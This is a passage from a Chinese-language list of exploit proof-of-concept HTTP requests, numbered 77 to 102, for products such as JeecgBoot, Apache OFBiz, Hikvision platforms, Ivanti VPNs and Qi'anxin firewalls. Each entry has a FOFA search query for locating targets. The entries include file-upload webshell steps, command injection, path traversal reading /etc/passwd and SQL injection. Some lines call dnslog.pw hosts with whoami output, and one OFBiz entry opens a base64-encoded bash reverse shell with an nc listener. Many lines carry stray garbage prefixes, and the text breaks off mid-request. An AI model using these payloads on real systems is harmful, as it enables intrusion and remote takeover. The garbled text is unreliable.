/ M; A3 r7 T; M8 \8 }: B
+ b, y5 s2 T3 ]+ j# ]% f4 X
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
* r+ w; ]3 G* {1 WHost: x.x.x.x
) O! v9 |) M4 p
: D# }6 R" }0 C
- t, `# r1 U$ `: P  }; o& T. F4 D8 t
: k. `6 m( Y) F9 V  \3 R, c& w! b, F+ |77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
: `# g4 ^; ^9 d8 ~Host: x.x.x.x
( T2 |- N7 S0 A  [9 z1 _  AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
5 r! Y% ~, m/ `) Q# VContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 T7 u# ^; R& V& f7 G0 pContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
. O2 D3 E* M. }: R1 c! A5 y2 a
------------398jnjVTTlDVXHlE7yYnfwBoix
: V, h% v5 m5 P  ^8 H* wContent-Disposition: form-data; name="folder"

8 o% R, L% g+ M9 D/upload/udplog
( G. V8 z" x" z1 F: _& B4 X------------398jnjVTTlDVXHlE7yYnfwBoix
) }  U; z1 T5 v* |+ d6 l+ p' xContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
, o3 O& n9 v* |1 E2 tContent-Type: application/octet-stream

% ~4 d+ u8 [( K) t& Z) U* Q5 |- S6 ?hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
- H) @7 r3 m4 G( `3 g$ X
Submit Query
8 E5 m1 m1 F: S* G1 t------------398jnjVTTlDVXHlE7yYnfwBoix--
: \5 H- ]; X6 {: ]+ f; `6 g3 y/ m2 W

( |+ L4 t6 x8 d3 p0 K9 \78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
! z6 f* U& y  w6 tFOFA：icon_hash="2001627082"
8 d6 W- A' k0 jPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
; Q8 i1 @' \4 c) i1 e, W! v- LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 d0 M; J0 E' s8 Y+ d! m6 iContent-Length: 336
Accept-Encoding: gzip
, N. E  V# l2 q# ]Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
. A& D! `% X$ n8 _7 k- u& p( mContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
# U" {* ^& T* [  s7 ?- N. WContent-Type: image/png
5 w$ z4 b2 p! c
YsOxWxSvj1KyZow1PTsh98fdu6l
+ d+ C# b7 ]& m------YsOxWxSvj1KyZow1PTsh98fdu6l
4 h' I5 A$ T. ]+ z5 ?6 wContent-Disposition: form-data; name="target"

3 i/ @2 F2 o0 v/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
: b$ V+ L1 C. [" m

' w0 e5 U( k1 U3 d2 P- G, [GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
# k$ p$ k) p/ W; QHost: x.x.x.x

- ?% F* D# f* |! v0 w1 J
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
/ `9 K2 ^# f; R7 O1 |; wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% S4 I+ k  c' K1 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 v3 d  o7 M+ o% yAccept-Encoding: gzip, deflate
Connection: close
! _3 {- I: e+ i# c6 C8 MUpgrade-Insecure-Requests: 1

2 S% h8 s6 U. S: h% y
2 t& Q7 }, b4 n1 e( o! f80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
) b2 e7 m+ v' g7 b: h+ b2 wPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
8 i( U% L+ ^$ l/ BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
) U6 w  E/ A2 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% K3 j0 c' Z2 `5 T2 [Content-Type: application/octet-stream
5 H* g  ^" _- z# w3 z# ~6 j% SUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

* U  q2 h" ^! _! s* ^. b- H( A
GET /xykqmfxpoas.jsp HTTP/1.1
( Q2 W  j# I7 g8 G: ]Host: x.x.x.x
) j* u$ X5 Y2 j& z+ c+ k9 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 G" Y/ ~3 G) Y6 O  mAccept-Encoding: gzip
" v+ O! C+ T" j
( W$ s+ I: Q( O3 U. O2 L
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
! Q+ g/ i  I. o& _2 g; Z4 U6 `9 XFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
( |' L" a9 Z& Y  {, A# mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ n! i# v6 {7 LConnection: close
Accept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
' j$ V5 q, F+ t/ l1 E, jHost: BaseURL
9 x; S; f1 Q# o1 w6 L; f( L3 l) GUser-Agent: Go-http-client/1.1
Content-Length: 23
, `8 x8 P! s7 y- P9 D4 }Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
$ d8 J4 T+ Q- M* X! N: v
( x+ Q& g9 x; u/ r5 ^& @$ Cz1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


  Q; X, S5 y" J/ `POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% W7 A2 b! a: J3 |9 m1 qContent-Length: 8881
- i6 }. n4 O- ^' Y& A) `Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
9 P5 W- |" p  \3 c" G, p
7 J$ h1 o! l- v  ^6 OPAYLOAD
# y5 \& r5 `! k0 @1 s
6 d% g! ~4 z( z, `$ q1 S! T84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
) p" z0 F* Y8 E& V0 A- R+ XFOFA：title=="JeecgBoot 企业级低代码平台"
' t0 l( M9 k# q2 f3 z0 F* D

/ u: f1 d0 M9 j! n
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
. M# N' @0 ]8 H; t: tUser-Agent: curl/7.88.1
Content-Length: 156
4 p) R+ g5 m0 P4 S1 D6 Q( GAccept: */*
+ r* ~0 j  I5 {" n- a' o) ~' lConnection: close
+ ~: J5 \' ~7 E: @# Z3 m% c% lContent-Type: application/json
. w( Y: z7 ^, r  `- _Accept-Encoding: gzip
0 A2 n9 W  w! e$ S' f
{
( z: j4 U+ m2 X  k: v  f7 n: s- w "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
! ]; A6 ~- J9 W8 V2 j
6 b& p; G( [% u# H, q( ^2 \$ P# p
$ s2 {6 j3 v+ u; l85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
) r5 U' j, _- n$ G! v( ZEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  b, _2 g, V2 e# N2 UContent-Type: application/octet-stream
% F( n( ]! L9 C8 g! E1 oAccept-Encoding: gzip

PAYLOAD

* \, w0 O8 _1 {0 s' c9 g回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
1 l- l" x% N- u7 UPOST /cgi-bin/network_test.php HTTP/1.1
( W  v  `- n2 ^5 ^& t( _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
: [, L1 u9 E2 m7 lAccept-Language: en
+ d  f. f% A( o4 b0 B9 iContent-Type: application/x-www-form-urlencoded
) ?- T- y5 b8 T7 _& D; Z( K- W, M. O
host=%0acat${IFS}/etc/passwd%0a&command=ping

1 O1 b9 T4 ]! A' R* _6 W+ \& U7 f  l
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
) e# Y) E4 p# aPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
$ [1 V) B) w7 Z- [% }; KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) c! n5 C5 c% AConnection: close
. W9 I6 b3 I. w1 T% cContent-Length: 198
: x* Q2 K4 e- }0 u2 I  BAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
; d9 }+ j$ \3 n
. Y* f8 [$ ]8 O2 r; z+ {--qqobiandqgawlxodfiisporjwravxtvd
2 \' T' I4 x$ v. Z" O9 Z$ `8 cContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
3 N, y. f( g$ Y* U/ R' OContent-Type: text/plain

5 k6 s7 T5 B8 F( C- a1 C: v2ZqGNnsjzzU2GBBPyd8AIA7QlDq
3 R- {1 F+ o' c+ |2 C--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php
' j; A' {1 y9 R% x  H
3 N% r# V7 `$ ?8 N9 x88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
4 Y4 [7 v# j3 D3 M+ \. q! X0 _Host: x.x.x.xx.x.x.x
- U$ \- _1 G6 F" pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 B  H. E, X, y: z) }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& O/ W! b6 S1 E9 AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% q" C( K0 l8 Z' F7 m2 O" q& p
3 L( b. F, H# h3 `/ y& p5 F
0 g/ _5 S( v3 w' j4 _( v# u/astdfkhl.php
# u9 L8 Z9 k1 {$ Y& }7 x0 D
89. 致远互联FE协作办公平台editflow_manager存在sql注入
7 c  N, d8 X: z# rFOFA：title="FE协作办公平台" || body="li_plugins_download"
( @% V% @3 }' ]+ g, H0 k% z" bPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
4 `6 z& j- K/ kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  A" h0 m$ n) Q+ z( E# U( BConnection: close
Content-Length: 41
# z' `4 J: a2 C- ^Content-Type: application/x-www-form-urlencoded
. l1 A! h) N+ H" \( WAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
2 E8 [" Q0 ^! O" k: t
) V9 O: }- L; C) L  N+ @, b% f
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
. `! [$ }, k! A0 ]FOFA：icon_hash="-1830859634"
9 Y5 O0 \' q; R. t- ~: g' K+ o* QPOST /php/ping.php HTTP/1.1
8 ~) I! S: A4 l# [+ s& F! dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
+ G" u) I  C, @6 {4 FContent-Length: 51
/ n6 U$ r1 R; n; d, P. IAccept: application/json, text/javascript, */*; q=0.01
4 M4 ]( ~& X/ x9 iAccept-Encoding: gzip, deflate
" ~0 r  B5 w/ _  C. S, YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
* g0 R8 M  w4 L* v2 ^5 Y  b+ lX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
" m: d/ s6 K* ^/ N- L: \( _* O

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
3 \* |6 `2 Y5 Q4 s5 a& @+ U# u8 |GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
+ ]2 J4 D/ v3 w" f& f5 q5 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 d) W$ ?& _( I2 i8 u

6 }; F) p, m; c8 }! h
92. 海康威视运行管理中心session命令执行
& a, I; }# p  x( E) v* O" l" v) J1 Q" SFastjson命令执行
9 c: g9 F' O1 i! V6 B) T' R& Ghunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
% g* A+ c0 D9 r1 q# i+ _Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
% i$ m( H3 j6 `/ p' |9 K' zContent-Type: application/json;charset=UTF-8
, y7 }8 o5 F; b4 zX-Language-Type: zh_CN
% p3 L6 C' v% LTestcmd: echo test
: \& Q0 N. }0 y: `4 I+ CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
, f5 Z# h1 \# F! ^7 Z* R6 p' `3 ~Content-Length: 5778
5 H$ Y* j* M# \4 n
' v% Z' U: ]* `/ |PAYLOAD

! b0 F  L) @! B) ~8 P9 S. f9 m
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
3 h( R9 ^. f; L5 {; @7 o- `POST /?g=app_av_import_save HTTP/1.1
! x# h& N5 C6 @5 B9 ?Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
; M6 ]& M# F( u9 J5 f3 ?Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
. j' {! f. S) x5 wContent-Type: text/plain

4 V' D/ S9 I+ A* z, P5 R) Swagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
) V& ^+ v' C& }& `) ^6 o2 L- m2 i* ]Content-Disposition: form-data; name="submit_post"
+ [& S) S' A. ~' r! `
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
! d# N) K) N5 r& ~4 e7 `! o
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
( K+ `6 p' V. {+ l
+ r3 V$ w1 i0 r4 u) w9 N
9 s+ n: h# Q; f- ?; jGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
8 S* R3 Y! ?* W5 X! ~! }: jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

* M4 N0 N9 _2 r9 W
, P1 }& e) B$ g% N$ g7 |94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
3 S, X  |2 j+ n3 `$ ?6 V8 [FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
7 L8 ^6 r2 m3 X7 _% d9 N# A: E: n. iHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
- X' ?  I8 B# N! Y+ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
. ~" i% p' k, e8 U------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
2 i9 S3 e: n5 k+ ?& S------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

) j* @3 S! ?! K: g! T! v9 Vobj_app_upfile
------WebKitFormBoundarybqvzqvmt
$ s7 u& d1 V8 U+ \2 [0 PContent-Disposition: form-data; name="__hash__"
+ m2 \. W: Q' M; h6 W. D
0b9d6b1ab7479ab69d9f71b05e0e9445
6 |0 Q8 U  A8 q. g------WebKitFormBoundarybqvzqvmt--
( N6 a) o7 Z9 i- }
0 W; X9 n: q4 i! m$ {9 m& \

4 _3 J. g7 F% K$ G' g* p5 sGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  i$ p0 m  H* V9 r  EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

* b/ B7 |) Y5 z6 m8 B4 k; W/ z
' L- x& R  R, A* |
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
/ _  f8 j( S0 w5 e, W5 D( z4 TCVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
6 f8 p# R' Z5 ~- e; e5 X- QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 U3 n: l% }1 d9 f5 }8 Y! DConnection: close
Content-Length: 889
Content-Type: application/xml
8 m2 X0 b+ [7 Z( cAccept-Encoding: gzip
- O/ d4 ?" ~5 [
# T7 u8 H: D7 N& c* b" C* c<?xml version="1.0"?>
% X5 \  Z5 l: s( c. T( I$ |<methodCall>
0 d- q; B- }5 ^: J' }8 a* N4 I/ R" F8 j& c   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
9 g) {/ d% t$ v5 w, O2 U      <param>
      <value>
, @: }4 j) m6 h  B0 D        <struct>
       <member>
          <name>test</name>
. J& n6 U8 Q" u" O! m: j9 c3 G: l          <value>
' K$ p6 g2 X4 Q7 M) E      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
4 p* p+ b4 M, R% e: [        </member>
      </struct>
      </value>
    </param>
    </params>
</methodCall>


3 _7 _- x$ ^6 w4 D* M% D6 Z7 k. n用ysoserial生成payload
: F1 P! L& x9 ~; s, {java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
0 W+ L% p1 Z5 x5 n) \  h+ Y2 x

将生成的payload替换到上面的POC
6 X9 T$ C/ O+ }& m, ~3 vPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
% \$ q# O0 V2 E5 i) bConnection: close
9 y/ r8 L4 a- b9 e6 `- H8 fContent-Length: 889
+ o: e& |* ?. c. q% ]+ TContent-Type: application/xml
Accept-Encoding: gzip
( ?( E7 g4 ~6 C2 X+ W
( a$ ]( G% H$ E# g, QPAYLOAD
, o" r; D% z$ w9 O, n  D
96. Apache OFBiz  18.12.11 groovy 远程代码执行
! L+ @, e. P& j% q9 b! V' BFOFA：app="Apache_OFBiz"
3 i0 l' ~8 o. C2 C7 K' WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
6 V! k2 n. p2 X6 C- U, x1 e/ IHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# P# ]: S( c/ Z: ^Accept: */*
1 x3 v+ ]8 H; I3 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" j% K/ m& h, M# i6 U. e; QContent-Type: application/x-www-form-urlencoded
Content-Length: 55

( f. o) v. U/ ?' O7 m3 cgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
+ y' M# l3 L% L9 g在kali上启动一个监听
, }* ~/ W# v) H7 pnc -lvp 7777
5 _* {& b1 Z1 i, P* a% `; X
; E/ b  A" l, f$ ]: VPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
9 Q4 g/ l3 w4 B1 j2 h: p4 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
/ G; _3 L$ N7 d$ gAccept: */*
6 d6 `( n) }. {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ {; d: W9 e" S2 y6 b  N2 dContent-Type: application/x-www-form-urlencoded
Content-Length: 71
* r. w, J: o/ u8 x/ F# D% {
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
( y; w5 r$ U7 U) o% @4 f
! q: _1 y& b; r$ S6 Z( O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
6 @5 o1 {4 \) ~4 O% f" `Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 K  ?! z8 P+ b! U/ K7 `Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
$ _7 h! U$ W2 p2 w( {& SX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

3 t! Y" d' G  ]- X4 t& T8 ^
98. SpiderFlow爬虫平台远程命令执行
' P9 k7 T' B, W3 I5 m1 cCVE-2024-0195
FOFA：app="SpiderFlow"
, y7 ^( \" L4 D0 fPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
3 G& i# u! j/ k" ^) ?* pContent-Length: 121
  w3 q& g/ t6 u* D6 M6 H8 _Accept: */*
4 L, Z; d- q1 }) g1 H2 Z! Y' }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' [4 q/ N; H2 G8 y% D& i& T0 l' _3 vContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 i) V$ p. r4 K4 a( _X-Requested-With: XMLHttpRequest

; |. \+ b  \. Xid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
- [: f+ N1 ?: e/ F

% {6 Y( ~6 Y: G6 h: r* n' ?99. Ncast盈可视高清智能录播系统busiFacade RCE
; |7 C: I& q3 B* S. Q+ N2 \CVE-2024-0305
) C% z# a% E% I, w4 B* t- ?FOFA：app="Ncast-产品" && title=="高清智能录播系统"
4 I: c5 g+ D2 ^# E/ ?POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 X1 V5 X, B% D3 Z6 J1 c6 cConnection: close
2 R: t7 ?/ r; Z, I2 oContent-Length: 154
$ m% C# |% y4 n, @# F* u/ uAccept: */*
7 x2 ^8 J4 [' j& Q) w; JAccept-Encoding: gzip, deflate
- J5 L9 c' _  g5 E2 g$ nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# e* T2 V' @) g7 f8 l7 T6 g+ r* ^Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
4 M6 J  P" t- ^
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
0 Y; R3 A  @( C" I# v; {& L3 M
4 i- @# x/ c$ A( M9 d1 |0 V
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
- a. k# F$ z( n4 i6 ~6 ?' GCVE-2024-0352
" Y' C4 n3 p: T1 z) Q* u0 I. y+ kFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
9 q& l. T7 L; q+ n4 ~6 d- HUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
+ E) M8 R" @; q& J4 x: o% U, h* c% mContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
! E* d5 J/ n( S. A1 JAccept-Encoding: gzip

: B) E, Z4 A0 S* y: W) a------WebKitFormBoundarygcflwtei
/ l. ?2 _# r+ _Content-Disposition: form-data; name="file";filename="IE4MGP.php"
3 }7 I3 x. v& `* i; q7 X) \# B) N  u$ ?Content-Type: application/x-php

- p  D6 F- G! u. V3 ?2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--


# l/ ~' c5 I6 u( O9 u( g101. ivanti policy secure-22.6命令注入
CVE-2024-21887
, \2 w0 ?9 X4 L. P/ V" cFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( v3 v4 m, o. F0 t( vConnection: close
# Q4 o! e0 s, |Accept-Encoding: gzip
2 ]: R0 f! q) f* q% a

# U/ S+ }/ U* V9 t) X6 }1 F1 q102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
# \2 W' A$ v+ \( o% m% o) U. _FOFA：body="welcome.cgi?p=logo"
/ W  Y9 z% H1 X0 p" a5 i+ m  G; |POST /dana-ws/saml20.ws HTTP/1.1
( U; ?( Q* E" JHost: x.x.x.x
